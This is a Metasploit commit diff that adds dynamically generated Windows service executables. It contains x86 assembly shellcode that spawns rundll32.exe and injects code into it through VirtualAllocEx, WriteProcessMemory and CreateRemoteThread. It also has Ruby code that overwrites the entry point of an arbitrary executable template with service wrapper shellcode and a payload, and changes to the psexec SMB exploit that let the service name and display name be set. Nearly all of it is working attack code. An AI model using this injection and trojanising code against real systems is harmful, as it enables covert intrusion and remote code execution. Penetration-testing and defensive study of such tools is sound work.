Land #2657, Dynamic generation of windows service executable functions

Allows a user to specify non service executables as EXE::Template as
long as the file has enough size to store the payload.
This commit is contained in:
Meatballs 2014-06-07 13:28:20 +01:00
commit bf1a665259
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
9 changed files with 430 additions and 26 deletions

View File

@ -0,0 +1,82 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 307 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
xor edi, edi
push 0x00000004 ;PAGE_READWRITE
push 0x00001000 ;MEM_COMMIT
push 0x00000054 ;STARTUPINFO+PROCESS_INFORMATION
push edi
push 0xE553A458 ;call VirtualAlloc()
call ebp
mov dword [eax], 0x44
lea esi, [eax+0x44]
push edi
push 0x6578652e
push 0x32336c6c
push 0x646e7572
mov ecx, esp ;"rundll32.exe"
push esi ;lpProcessInformation
push eax ;lpStartupInfo
push edi ;lpCurrentDirectory
push edi ;lpEnvironment
push 0x00000044 ;dwCreationFlags
push edi ;bInheritHandles
push edi ;lpThreadAttributes
push edi ;lpProcessAttributes
push ecx ;lpCommandLine
push edi ;lpApplicationName
push 0x863FCC79
call ebp ;call CreatProcessA()
mov ecx, [esi]
push 0x00000040 ;PAGE_EXECUTE_READWRITE
push 0x00001000 ;MEM_COMMIT
push 0x00001000 ;Next Shellcode Size
push edi
push ecx ;hProcess
push 0x3F9287AE ;call VirtualAllocEx()
call ebp
call me2
me2:
pop edx
mov edi, eax
mov ecx, [esi]
add dword edx, 0x112247 ;pointer on the next shellcode
push esp
push 0x00001000 ;Next Shellcode Size
push edx ;
push eax ;lBaseAddress
push ecx ;hProcess
push 0xE7BDD8C5
call ebp ;call WriteProcessMemory()
xor eax, eax
mov ecx, [esi]
push eax ;lpThreadId
push eax ;dwCreationFlags
push eax ;lpParameter
push edi ;lpStartAddress
push eax ;dwStackSize
push eax ;lpThreadAttributes
push ecx ;hProcess
push 0x799AACC6
call ebp ;call CreateRemoteThread()
mov ecx, [esi]
push ecx
push 0x528796C6
call ebp ;call CloseHandle()
mov ecx, [esi+0x4]
push ecx
push 0x528796C6
call ebp ;call CloseHandle()

View File

@ -0,0 +1,64 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
push byte 0x0
push 0x32336970
push 0x61766461
push esp
push 0x726774c
call ebp ;load advapi32.dll
push 0x00454349
push 0x56524553
mov ecx, esp ;ServiceTableEntry.SVCNAME
lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
push 0x00000000
push eax
push ecx
mov eax,esp
push 0x00000000
push eax
push 0xCB72F7FA
call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
push 0x00000000
push 0x56A2B5F0
call ebp ;call ExitProcess(0)
pop eax ;SvcCtrlHandler
pop eax
pop eax
pop eax
xor eax,eax
ret
cld ;SvcMain
call me
me:
pop ebp
sub ebp, 0xd6 ;ebp => hashFunction
push 0x00464349
push 0x56524553
mov ecx, esp ;SVCNAME
lea eax, [ebp+0xc9];SvcCtrlHandler
push 0x00000000
push eax
push ecx
push 0x5244AA0B
call ebp ;RegisterServiceCtrlHandlerExA
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000004
push 0x00000010
mov ecx, esp
push 0x00000000
push ecx
push eax
push 0x7D3755C6
call ebp ;SetServiceStatus RUNNING

View File

@ -0,0 +1,41 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
push 0x000F003F
push 0x00000000
push 0x00000000
push 0x7636F067
call ebp ;OpenSCManagerA
mov edi, eax
push 0x00464349
push 0x56524553
mov ecx, esp ;SVCNAME
push 0x000F01FF
push ecx
push eax
push 0x404B2856
call ebp ;OpenServiceA
mov esi, eax
push 0x00464349
push 0x56524553
mov ecx, esp
push 0x00000000
push ecx
mov ecx, esp ;SVCDESCRIPTION
push ecx
push 0x00000001 ;SERVICE_CONFIG_DESCRIPTION
push eax
push 0xED35B087
call ebp ;ChangeServiceConfig2A
push esi
push 0xAD77EADE ;CloseServiceHandle
call ebp
push edi
push 0xAD77EADE ;CloseServiceHandle
call ebp

View File

@ -0,0 +1,45 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
call me3
me3:
pop edi
jmp 0x7
pop eax
pop eax
pop eax
pop eax
xor eax,eax
ret
push 0x00464349
push 0x56524553
mov ecx, esp ;SVCNAME
lea eax, [edi+0x3];SvcCtrlHandler
push 0x00000000
push eax
push ecx
push 0x5244AA0B
call ebp ;RegisterServiceCtrlHandlerExA
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000001
push 0x00000010
mov ecx, esp
push 0x00000000
push ecx
push eax
push 0x7D3755C6
call ebp ;SetServiceStatus RUNNING
push 0x0
push 0x56a2b5f0
call ebp ;ExitProcess

View File

@ -0,0 +1,16 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 307 bytes
; Build: >build.py single_create_remote_process
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_create_remote_process.asm"

View File

@ -0,0 +1,23 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
; Build: >build.py single_service_stuff
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_service.asm"
%include "./src/block/block_service_change_description.asm"
%include "./src/block/block_create_remote_process.asm"
%include "./src/block/block_service_stopped.asm"
push edi
push 0x56A2B5F0
call ebp ;call ExitProcess(0)

View File

@ -51,8 +51,11 @@ module Exploit::Remote::SMB::Psexec
# instead of all the ghetto "rescue ::Exception" madness
# @param command [String] Should be a valid windows command
# @param disconnect [Boolean] Disconnect afterwards
# @param service_description [String] Service Description
# @param service_name [String] Service Name
# @param display_name [Strnig] Display Name
# @return [Boolean] Whether everything went well
def psexec(command, disconnect=true, service_description=nil)
def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("#{peer} - Binding to #{handle} ...")
@ -70,8 +73,8 @@ module Exploit::Remote::SMB::Psexec
print_error("#{peer} - Error getting scm handle: #{e}")
return false
end
servicename = Rex::Text.rand_text_alpha(11)
displayname = Rex::Text.rand_text_alpha(16)
servicename = service_name || Rex::Text.rand_text_alpha(11)
displayname = display_name || Rex::Text.rand_text_alpha(16)
svc_handle = nil
svc_status = nil

View File

@ -299,7 +299,6 @@ require 'msf/core/exe/segment_injector'
end
def self.to_winpe_only(framework, code, opts={}, arch="x86")
if arch == ARCH_X86_64
arch = ARCH_X64
end
@ -310,30 +309,60 @@ require 'msf/core/exe/segment_injector'
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
exe = ''
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
pe_header_size = 0x18
entryPoint_offset = 0x28
section_size = 0x28
characteristics_offset = 0x24
virtualAddress_offset = 0x0c
sizeOfRawData_offset = 0x10
sections_table_offset =
pe._dos_header.v['e_lfanew'] +
pe._file_header.v['SizeOfOptionalHeader'] +
pe_header_size
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
sections_header = []
pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }
pe._file_header.v['NumberOfSections'].times { |i|
section_offset = sections_table_offset + (i * section_size)
sections_header << [
sections_table_characteristics_offset + (i * section_size),
exe[section_offset,section_size]
]
}
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
#look for section with entry point
# look for section with entry point
sections_header.each do |sec|
virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
characteristics = sec[1][0x24,0x4].unpack('L')[0]
if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
#put this section writable
characteristics|=0x80000000
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('L')[0]
if (importsTable - addressOfEntryPoint) < code.length
#shift original entry point to prevent tables overwritting
addressOfEntryPoint = importsTable - (code.length + 4)
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('L')
end
# put this section writable
characteristics |= 0x8000_0000
newcharacteristics = [characteristics].pack('L')
exe[sec[0],newcharacteristics.length]=newcharacteristics
exe[sec[0],newcharacteristics.length] = newcharacteristics
end
end
#put the shellcode at the entry point, overwriting template
exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code
# put the shellcode at the entry point, overwriting template
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
exe[entryPoint_file_offset,code.length] = code
return exe
end
@ -383,6 +412,33 @@ require 'msf/core/exe/segment_injector'
return pe
end
# Splits a string into a number of assembly push operations
#
# @param string [String] string to be used
#
# @return [String] null terminated string as assembly push ops
def self.string_to_pushes(string)
str = string.dup
# Align string to 4 bytes
rem = (str.length) % 4
if (rem > 0)
str << "\x00" * (4 - rem)
pushes = ''
else
pushes = "h\x00\x00\x00\x00"
end
# string is now 4 bytes aligned with null byte
# push string to stack, starting at the back
while (str.length > 0)
four = 'h'+str.slice!(-4,4)
pushes << four
end
pushes
end
def self.exe_sub_method(code,opts ={})
pe = ''
@ -462,11 +518,82 @@ require 'msf/core/exe/segment_injector'
exe_sub_method(code,opts)
end
# Embeds shellcode within a Windows PE file implementing the Windows
# service control methods.
#
# @param framework [Object]
# @param code [String] shellcode to be embedded
# @option opts [Boolean] :sub_method use substitution technique with a
# service template PE
# @option opts [String] :servicename name of the service, not used in
# substituion technique
#
# @return [String] Windows Service PE file
def self.to_win32pe_service(framework, code, opts={})
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
if opts[:sub_method]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe")
opts[:exe_type] = :service_exe
return exe_sub_method(code,opts)
else
name = opts[:servicename]
name ||= Rex::Text.rand_text_alpha(8)
pushed_service_name = string_to_pushes(name)
precode_size = 0xc6
svcmain_code_offset = precode_size + pushed_service_name.length
precode_size = 0xcc
hash_code_offset = precode_size + pushed_service_name.length
precode_size = 0xbf
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
code_service_stopped =
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
pushed_service_name+"\x89\xE1\x8D\x47\x03\x6A\x00" +
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
precode_size = 0x42
shellcode_code_offset = code_service_stopped.length + precode_size
# code_service could be encoded in the future
code_service =
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
[shellcode_code_offset].pack('<I')+"\x54\x68"+[code.length].pack('<I') +
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
"\x51\x68\xC6\x96\x87\x52\xFF\xD5" +
code_service_stopped
return to_winpe_only(framework, code_service + code, opts)
end
end
def self.to_win64pe_service(framework, code, opts={})

View File

@ -81,7 +81,9 @@ class Metasploit3 < Msf::Exploit::Remote
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil]),
OptString.new('SERVICE_NAME', [false, "Servicename to to be used on target for the service binary and manager",nil]),
OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil])
], self.class)
end
@ -152,8 +154,9 @@ class Metasploit3 < Msf::Exploit::Remote
# Disconnect from the ADMIN$
simple.disconnect("ADMIN$")
else
servicename = rand_text_alpha(8)
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
servicedescription = datastore['SERVICE_DESCRIPTION']
displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1)
# Upload the shellcode to a file
print_status("Uploading payload...")
@ -199,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
end
psexec(file_location, false, servicedescription)
psexec(file_location, false, servicedescription, servicename, displayname)
print_status("Deleting \\#{filename}...")
sleep(1)